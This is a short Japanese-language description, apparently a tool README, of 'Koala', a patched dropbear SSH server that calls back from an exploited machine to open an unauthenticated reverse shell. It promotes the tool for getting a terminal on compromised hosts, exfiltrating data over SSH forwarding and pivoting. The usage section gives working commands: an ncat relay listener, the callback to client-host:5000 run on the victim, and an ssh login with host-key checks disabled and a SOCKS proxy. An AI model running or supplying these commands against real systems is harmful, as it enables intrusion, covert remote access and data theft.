
クライアントとして動作し、認証なしログインを可能にする修正版dropbearサーバー
Koala は dropbear SSH サーバーのパッチ版で、ポートにバインドする代わりにリモートクライアントに接続してリバースシェルを開きます。
これは、悪用されたマシンで pty ターミナルを取得するのに便利であり、SSH ポートフォワーディングを介した安全なデータの外部漏洩にも役立ちます。動的 SSH ポートフォワーディング機能を使用してピボットも行うことができます。
[使い方]
クライアントで以下のコマンドを実行して SSH 接続を待ち受けます: $ ncat -lvp 5000 --sh-exec 'ncat -lvp 9999'
悪用されたホストで以下を実行: $ ./dropbear -p client-host:5000
クライアントでポート 9999 に接続してシェルを開きます: $ ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null localhost -D9050 -p9999